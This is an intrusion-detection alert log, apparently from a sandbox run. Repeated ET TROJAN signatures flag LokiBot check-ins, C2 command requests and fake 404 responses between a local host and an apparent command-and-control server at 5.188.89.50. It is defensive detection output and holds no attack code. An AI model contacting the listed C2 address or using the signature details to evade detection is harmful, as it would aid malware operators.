09/28/21-06:51:14.436115	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49229	80	192.168.2.22	5.188.89.50
09/28/21-06:51:14.436115	TCP	2025381	ET TROJAN LokiBot Checkin	49229	80	192.168.2.22	5.188.89.50
09/28/21-06:51:14.436115	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49229	80	192.168.2.22	5.188.89.50
09/28/21-06:51:14.799665	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49229	5.188.89.50	192.168.2.22
09/28/21-06:51:15.070584	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49230	80	192.168.2.22	5.188.89.50
09/28/21-06:51:15.070584	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49230	80	192.168.2.22	5.188.89.50
09/28/21-06:51:15.070584	TCP	2025381	ET TROJAN LokiBot Checkin	49230	80	192.168.2.22	5.188.89.50
09/28/21-06:51:15.070584	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49230	80	192.168.2.22	5.188.89.50
09/28/21-06:51:15.439943	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49230	5.188.89.50	192.168.2.22
09/28/21-06:51:15.726731	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49231	80	192.168.2.22	5.188.89.50
09/28/21-06:51:15.726731	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49231	80	192.168.2.22	5.188.89.50
09/28/21-06:51:15.726731	TCP	2025381	ET TROJAN LokiBot Checkin	49231	80	192.168.2.22	5.188.89.50
09/28/21-06:51:15.726731	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49231	80	192.168.2.22	5.188.89.50
09/28/21-06:51:16.076317	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49231	5.188.89.50	192.168.2.22
09/28/21-06:51:16.340414	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49232	80	192.168.2.22	5.188.89.50
09/28/21-06:51:16.340414	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49232	80	192.168.2.22	5.188.89.50
09/28/21-06:51:16.340414	TCP	2025381	ET TROJAN LokiBot Checkin	49232	80	192.168.2.22	5.188.89.50
09/28/21-06:51:16.340414	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49232	80	192.168.2.22	5.188.89.50
09/28/21-06:51:16.690124	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49232	5.188.89.50	192.168.2.22
09/28/21-06:51:16.959595	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49233	80	192.168.2.22	5.188.89.50
09/28/21-06:51:16.959595	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49233	80	192.168.2.22	5.188.89.50
09/28/21-06:51:16.959595	TCP	2025381	ET TROJAN LokiBot Checkin	49233	80	192.168.2.22	5.188.89.50
09/28/21-06:51:16.959595	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49233	80	192.168.2.22	5.188.89.50
09/28/21-06:51:17.307421	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49233	5.188.89.50	192.168.2.22
09/28/21-06:51:17.590103	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49234	80	192.168.2.22	5.188.89.50
09/28/21-06:51:17.590103	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49234	80	192.168.2.22	5.188.89.50
09/28/21-06:51:17.590103	TCP	2025381	ET TROJAN LokiBot Checkin	49234	80	192.168.2.22	5.188.89.50
09/28/21-06:51:17.590103	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49234	80	192.168.2.22	5.188.89.50
09/28/21-06:51:17.941712	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49234	5.188.89.50	192.168.2.22
09/28/21-06:51:18.196433	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49235	80	192.168.2.22	5.188.89.50
09/28/21-06:51:18.196433	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49235	80	192.168.2.22	5.188.89.50
09/28/21-06:51:18.196433	TCP	2025381	ET TROJAN LokiBot Checkin	49235	80	192.168.2.22	5.188.89.50
09/28/21-06:51:18.196433	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49235	80	192.168.2.22	5.188.89.50
09/28/21-06:51:18.572171	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49235	5.188.89.50	192.168.2.22
09/28/21-06:51:18.836329	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49236	80	192.168.2.22	5.188.89.50
09/28/21-06:51:18.836329	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49236	80	192.168.2.22	5.188.89.50
09/28/21-06:51:18.836329	TCP	2025381	ET TROJAN LokiBot Checkin	49236	80	192.168.2.22	5.188.89.50
09/28/21-06:51:18.836329	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49236	80	192.168.2.22	5.188.89.50
09/28/21-06:51:19.181425	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49236	5.188.89.50	192.168.2.22
09/28/21-06:51:19.451088	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49237	80	192.168.2.22	5.188.89.50
09/28/21-06:51:19.451088	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49237	80	192.168.2.22	5.188.89.50
09/28/21-06:51:19.451088	TCP	2025381	ET TROJAN LokiBot Checkin	49237	80	192.168.2.22	5.188.89.50
09/28/21-06:51:19.451088	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49237	80	192.168.2.22	5.188.89.50
09/28/21-06:51:19.814657	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49237	5.188.89.50	192.168.2.22
09/28/21-06:51:20.085203	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49238	80	192.168.2.22	5.188.89.50
09/28/21-06:51:20.085203	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49238	80	192.168.2.22	5.188.89.50
09/28/21-06:51:20.085203	TCP	2025381	ET TROJAN LokiBot Checkin	49238	80	192.168.2.22	5.188.89.50
09/28/21-06:51:20.085203	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49238	80	192.168.2.22	5.188.89.50
09/28/21-06:51:20.478231	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49238	5.188.89.50	192.168.2.22
09/28/21-06:51:20.743376	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49239	80	192.168.2.22	5.188.89.50
09/28/21-06:51:20.743376	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49239	80	192.168.2.22	5.188.89.50
09/28/21-06:51:20.743376	TCP	2025381	ET TROJAN LokiBot Checkin	49239	80	192.168.2.22	5.188.89.50
09/28/21-06:51:20.743376	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49239	80	192.168.2.22	5.188.89.50
09/28/21-06:51:21.089639	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49239	5.188.89.50	192.168.2.22
09/28/21-06:51:21.360941	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49240	80	192.168.2.22	5.188.89.50
09/28/21-06:51:21.360941	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49240	80	192.168.2.22	5.188.89.50
09/28/21-06:51:21.360941	TCP	2025381	ET TROJAN LokiBot Checkin	49240	80	192.168.2.22	5.188.89.50
09/28/21-06:51:21.360941	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49240	80	192.168.2.22	5.188.89.50
09/28/21-06:51:21.718506	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49240	5.188.89.50	192.168.2.22
09/28/21-06:51:21.987188	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49241	80	192.168.2.22	5.188.89.50
09/28/21-06:51:21.987188	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49241	80	192.168.2.22	5.188.89.50
09/28/21-06:51:21.987188	TCP	2025381	ET TROJAN LokiBot Checkin	49241	80	192.168.2.22	5.188.89.50
09/28/21-06:51:21.987188	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49241	80	192.168.2.22	5.188.89.50
09/28/21-06:51:22.352974	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49241	5.188.89.50	192.168.2.22
09/28/21-06:51:22.613432	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49242	80	192.168.2.22	5.188.89.50
09/28/21-06:51:22.613432	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49242	80	192.168.2.22	5.188.89.50
09/28/21-06:51:22.613432	TCP	2025381	ET TROJAN LokiBot Checkin	49242	80	192.168.2.22	5.188.89.50
09/28/21-06:51:22.613432	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49242	80	192.168.2.22	5.188.89.50
09/28/21-06:51:22.999512	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49242	5.188.89.50	192.168.2.22
09/28/21-06:51:23.260701	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49243	80	192.168.2.22	5.188.89.50
09/28/21-06:51:23.260701	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49243	80	192.168.2.22	5.188.89.50
09/28/21-06:51:23.260701	TCP	2025381	ET TROJAN LokiBot Checkin	49243	80	192.168.2.22	5.188.89.50
09/28/21-06:51:23.260701	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49243	80	192.168.2.22	5.188.89.50
09/28/21-06:51:23.608755	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49243	5.188.89.50	192.168.2.22
09/28/21-06:51:23.883186	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49244	80	192.168.2.22	5.188.89.50
09/28/21-06:51:23.883186	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49244	80	192.168.2.22	5.188.89.50
09/28/21-06:51:23.883186	TCP	2025381	ET TROJAN LokiBot Checkin	49244	80	192.168.2.22	5.188.89.50
09/28/21-06:51:23.883186	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49244	80	192.168.2.22	5.188.89.50
09/28/21-06:51:24.245244	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49244	5.188.89.50	192.168.2.22
09/28/21-06:51:24.517036	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49245	80	192.168.2.22	5.188.89.50
09/28/21-06:51:24.517036	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49245	80	192.168.2.22	5.188.89.50
09/28/21-06:51:24.517036	TCP	2025381	ET TROJAN LokiBot Checkin	49245	80	192.168.2.22	5.188.89.50
09/28/21-06:51:24.517036	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49245	80	192.168.2.22	5.188.89.50
09/28/21-06:51:24.868451	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49245	5.188.89.50	192.168.2.22
09/28/21-06:51:25.124484	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49246	80	192.168.2.22	5.188.89.50
09/28/21-06:51:25.124484	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49246	80	192.168.2.22	5.188.89.50
09/28/21-06:51:25.124484	TCP	2025381	ET TROJAN LokiBot Checkin	49246	80	192.168.2.22	5.188.89.50
09/28/21-06:51:25.124484	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49246	80	192.168.2.22	5.188.89.50
09/28/21-06:51:25.488807	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49246	5.188.89.50	192.168.2.22
09/28/21-06:51:25.756368	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49247	80	192.168.2.22	5.188.89.50
09/28/21-06:51:25.756368	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49247	80	192.168.2.22	5.188.89.50
09/28/21-06:51:25.756368	TCP	2025381	ET TROJAN LokiBot Checkin	49247	80	192.168.2.22	5.188.89.50
09/28/21-06:51:25.756368	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49247	80	192.168.2.22	5.188.89.50
09/28/21-06:51:26.115351	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49247	5.188.89.50	192.168.2.22
09/28/21-06:51:26.383897	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49248	80	192.168.2.22	5.188.89.50
09/28/21-06:51:26.383897	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49248	80	192.168.2.22	5.188.89.50
09/28/21-06:51:26.383897	TCP	2025381	ET TROJAN LokiBot Checkin	49248	80	192.168.2.22	5.188.89.50
09/28/21-06:51:26.383897	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49248	80	192.168.2.22	5.188.89.50
09/28/21-06:51:26.801508	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49248	5.188.89.50	192.168.2.22
09/28/21-06:51:27.057486	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49249	80	192.168.2.22	5.188.89.50
09/28/21-06:51:27.057486	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49249	80	192.168.2.22	5.188.89.50
09/28/21-06:51:27.057486	TCP	2025381	ET TROJAN LokiBot Checkin	49249	80	192.168.2.22	5.188.89.50
09/28/21-06:51:27.057486	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49249	80	192.168.2.22	5.188.89.50
09/28/21-06:51:27.408521	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49249	5.188.89.50	192.168.2.22
09/28/21-06:51:27.673999	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49250	80	192.168.2.22	5.188.89.50
09/28/21-06:51:27.673999	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49250	80	192.168.2.22	5.188.89.50
09/28/21-06:51:27.673999	TCP	2025381	ET TROJAN LokiBot Checkin	49250	80	192.168.2.22	5.188.89.50
09/28/21-06:51:27.673999	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49250	80	192.168.2.22	5.188.89.50
09/28/21-06:51:28.019418	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49250	5.188.89.50	192.168.2.22
09/28/21-06:51:28.260433	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49251	80	192.168.2.22	5.188.89.50
09/28/21-06:51:28.260433	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49251	80	192.168.2.22	5.188.89.50
09/28/21-06:51:28.260433	TCP	2025381	ET TROJAN LokiBot Checkin	49251	80	192.168.2.22	5.188.89.50
09/28/21-06:51:28.260433	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49251	80	192.168.2.22	5.188.89.50
09/28/21-06:51:28.604409	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49251	5.188.89.50	192.168.2.22
09/28/21-06:51:28.882332	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49252	80	192.168.2.22	5.188.89.50
09/28/21-06:51:28.882332	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49252	80	192.168.2.22	5.188.89.50
09/28/21-06:51:28.882332	TCP	2025381	ET TROJAN LokiBot Checkin	49252	80	192.168.2.22	5.188.89.50
09/28/21-06:51:28.882332	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49252	80	192.168.2.22	5.188.89.50
09/28/21-06:51:29.232880	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49252	5.188.89.50	192.168.2.22
09/28/21-06:51:29.484912	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49253	80	192.168.2.22	5.188.89.50
09/28/21-06:51:29.484912	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49253	80	192.168.2.22	5.188.89.50
09/28/21-06:51:29.484912	TCP	2025381	ET TROJAN LokiBot Checkin	49253	80	192.168.2.22	5.188.89.50
09/28/21-06:51:29.484912	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49253	80	192.168.2.22	5.188.89.50
09/28/21-06:51:29.838618	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49253	5.188.89.50	192.168.2.22
09/28/21-06:51:30.105086	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49254	80	192.168.2.22	5.188.89.50
09/28/21-06:51:30.105086	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49254	80	192.168.2.22	5.188.89.50
09/28/21-06:51:30.105086	TCP	2025381	ET TROJAN LokiBot Checkin	49254	80	192.168.2.22	5.188.89.50
09/28/21-06:51:30.105086	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49254	80	192.168.2.22	5.188.89.50
09/28/21-06:51:30.459973	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49254	5.188.89.50	192.168.2.22
09/28/21-06:51:30.722784	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49255	80	192.168.2.22	5.188.89.50
09/28/21-06:51:30.722784	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49255	80	192.168.2.22	5.188.89.50
09/28/21-06:51:30.722784	TCP	2025381	ET TROJAN LokiBot Checkin	49255	80	192.168.2.22	5.188.89.50
09/28/21-06:51:30.722784	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49255	80	192.168.2.22	5.188.89.50
09/28/21-06:51:31.087202	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49255	5.188.89.50	192.168.2.22
09/28/21-06:51:31.353110	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49256	80	192.168.2.22	5.188.89.50
09/28/21-06:51:31.353110	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49256	80	192.168.2.22	5.188.89.50
09/28/21-06:51:31.353110	TCP	2025381	ET TROJAN LokiBot Checkin	49256	80	192.168.2.22	5.188.89.50
09/28/21-06:51:31.353110	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49256	80	192.168.2.22	5.188.89.50
09/28/21-06:51:31.712104	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49256	5.188.89.50	192.168.2.22
09/28/21-06:51:31.987027	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49257	80	192.168.2.22	5.188.89.50
09/28/21-06:51:31.987027	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49257	80	192.168.2.22	5.188.89.50
09/28/21-06:51:31.987027	TCP	2025381	ET TROJAN LokiBot Checkin	49257	80	192.168.2.22	5.188.89.50
09/28/21-06:51:31.987027	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49257	80	192.168.2.22	5.188.89.50
09/28/21-06:51:32.343318	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49257	5.188.89.50	192.168.2.22
09/28/21-06:51:32.641426	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49258	80	192.168.2.22	5.188.89.50
09/28/21-06:51:32.641426	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49258	80	192.168.2.22	5.188.89.50
09/28/21-06:51:32.641426	TCP	2025381	ET TROJAN LokiBot Checkin	49258	80	192.168.2.22	5.188.89.50
09/28/21-06:51:32.641426	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49258	80	192.168.2.22	5.188.89.50
09/28/21-06:51:32.997788	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49258	5.188.89.50	192.168.2.22
09/28/21-06:51:33.247393	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49259	80	192.168.2.22	5.188.89.50
09/28/21-06:51:33.247393	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49259	80	192.168.2.22	5.188.89.50
09/28/21-06:51:33.247393	TCP	2025381	ET TROJAN LokiBot Checkin	49259	80	192.168.2.22	5.188.89.50
09/28/21-06:51:33.247393	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49259	80	192.168.2.22	5.188.89.50
09/28/21-06:51:33.614152	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49259	5.188.89.50	192.168.2.22
09/28/21-06:51:33.897538	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49260	80	192.168.2.22	5.188.89.50
09/28/21-06:51:33.897538	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49260	80	192.168.2.22	5.188.89.50
09/28/21-06:51:33.897538	TCP	2025381	ET TROJAN LokiBot Checkin	49260	80	192.168.2.22	5.188.89.50
09/28/21-06:51:33.897538	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49260	80	192.168.2.22	5.188.89.50
09/28/21-06:51:34.259139	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49260	5.188.89.50	192.168.2.22
09/28/21-06:51:34.520465	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49261	80	192.168.2.22	5.188.89.50
09/28/21-06:51:34.520465	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49261	80	192.168.2.22	5.188.89.50
09/28/21-06:51:34.520465	TCP	2025381	ET TROJAN LokiBot Checkin	49261	80	192.168.2.22	5.188.89.50
09/28/21-06:51:34.520465	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49261	80	192.168.2.22	5.188.89.50
09/28/21-06:51:34.880407	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49261	5.188.89.50	192.168.2.22
09/28/21-06:51:35.158359	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49262	80	192.168.2.22	5.188.89.50
09/28/21-06:51:35.158359	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49262	80	192.168.2.22	5.188.89.50
09/28/21-06:51:35.158359	TCP	2025381	ET TROJAN LokiBot Checkin	49262	80	192.168.2.22	5.188.89.50
09/28/21-06:51:35.158359	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49262	80	192.168.2.22	5.188.89.50
09/28/21-06:51:35.502118	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49262	5.188.89.50	192.168.2.22
09/28/21-06:51:35.771485	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49263	80	192.168.2.22	5.188.89.50
09/28/21-06:51:35.771485	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49263	80	192.168.2.22	5.188.89.50
09/28/21-06:51:35.771485	TCP	2025381	ET TROJAN LokiBot Checkin	49263	80	192.168.2.22	5.188.89.50
09/28/21-06:51:35.771485	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49263	80	192.168.2.22	5.188.89.50
09/28/21-06:51:36.152520	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49263	5.188.89.50	192.168.2.22
09/28/21-06:51:36.416967	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49264	80	192.168.2.22	5.188.89.50
09/28/21-06:51:36.416967	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49264	80	192.168.2.22	5.188.89.50
09/28/21-06:51:36.416967	TCP	2025381	ET TROJAN LokiBot Checkin	49264	80	192.168.2.22	5.188.89.50
09/28/21-06:51:36.416967	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49264	80	192.168.2.22	5.188.89.50
09/28/21-06:51:36.777894	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49264	5.188.89.50	192.168.2.22
09/28/21-06:51:37.050080	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49265	80	192.168.2.22	5.188.89.50
09/28/21-06:51:37.050080	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49265	80	192.168.2.22	5.188.89.50
09/28/21-06:51:37.050080	TCP	2025381	ET TROJAN LokiBot Checkin	49265	80	192.168.2.22	5.188.89.50
09/28/21-06:51:37.050080	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49265	80	192.168.2.22	5.188.89.50
09/28/21-06:51:37.397901	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49265	5.188.89.50	192.168.2.22
09/28/21-06:51:37.662483	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49266	80	192.168.2.22	5.188.89.50
09/28/21-06:51:37.662483	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49266	80	192.168.2.22	5.188.89.50
09/28/21-06:51:37.662483	TCP	2025381	ET TROJAN LokiBot Checkin	49266	80	192.168.2.22	5.188.89.50
09/28/21-06:51:37.662483	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49266	80	192.168.2.22	5.188.89.50
09/28/21-06:51:38.023429	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49266	5.188.89.50	192.168.2.22
09/28/21-06:51:38.305464	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49267	80	192.168.2.22	5.188.89.50
09/28/21-06:51:38.305464	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49267	80	192.168.2.22	5.188.89.50
09/28/21-06:51:38.305464	TCP	2025381	ET TROJAN LokiBot Checkin	49267	80	192.168.2.22	5.188.89.50
09/28/21-06:51:38.305464	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49267	80	192.168.2.22	5.188.89.50
09/28/21-06:51:38.651947	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49267	5.188.89.50	192.168.2.22
09/28/21-06:51:38.916392	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49268	80	192.168.2.22	5.188.89.50
09/28/21-06:51:38.916392	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49268	80	192.168.2.22	5.188.89.50
09/28/21-06:51:38.916392	TCP	2025381	ET TROJAN LokiBot Checkin	49268	80	192.168.2.22	5.188.89.50
09/28/21-06:51:38.916392	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49268	80	192.168.2.22	5.188.89.50
09/28/21-06:51:39.290411	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49268	5.188.89.50	192.168.2.22
09/28/21-06:51:39.553833	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49269	80	192.168.2.22	5.188.89.50
09/28/21-06:51:39.553833	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49269	80	192.168.2.22	5.188.89.50
09/28/21-06:51:39.553833	TCP	2025381	ET TROJAN LokiBot Checkin	49269	80	192.168.2.22	5.188.89.50
09/28/21-06:51:39.553833	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49269	80	192.168.2.22	5.188.89.50
09/28/21-06:51:39.922492	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49269	5.188.89.50	192.168.2.22
09/28/21-06:51:40.503875	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49270	80	192.168.2.22	5.188.89.50
09/28/21-06:51:40.503875	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49270	80	192.168.2.22	5.188.89.50
09/28/21-06:51:40.503875	TCP	2025381	ET TROJAN LokiBot Checkin	49270	80	192.168.2.22	5.188.89.50
09/28/21-06:51:40.503875	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49270	80	192.168.2.22	5.188.89.50
09/28/21-06:51:40.856189	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49270	5.188.89.50	192.168.2.22
09/28/21-06:51:41.115944	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49271	80	192.168.2.22	5.188.89.50
09/28/21-06:51:41.115944	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49271	80	192.168.2.22	5.188.89.50
09/28/21-06:51:41.115944	TCP	2025381	ET TROJAN LokiBot Checkin	49271	80	192.168.2.22	5.188.89.50
09/28/21-06:51:41.115944	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49271	80	192.168.2.22	5.188.89.50
09/28/21-06:51:41.467151	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49271	5.188.89.50	192.168.2.22
09/28/21-06:51:41.724809	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49272	80	192.168.2.22	5.188.89.50
09/28/21-06:51:41.724809	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49272	80	192.168.2.22	5.188.89.50
09/28/21-06:51:41.724809	TCP	2025381	ET TROJAN LokiBot Checkin	49272	80	192.168.2.22	5.188.89.50
09/28/21-06:51:41.724809	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49272	80	192.168.2.22	5.188.89.50
09/28/21-06:51:42.107495	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49272	5.188.89.50	192.168.2.22
09/28/21-06:51:42.375557	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49273	80	192.168.2.22	5.188.89.50
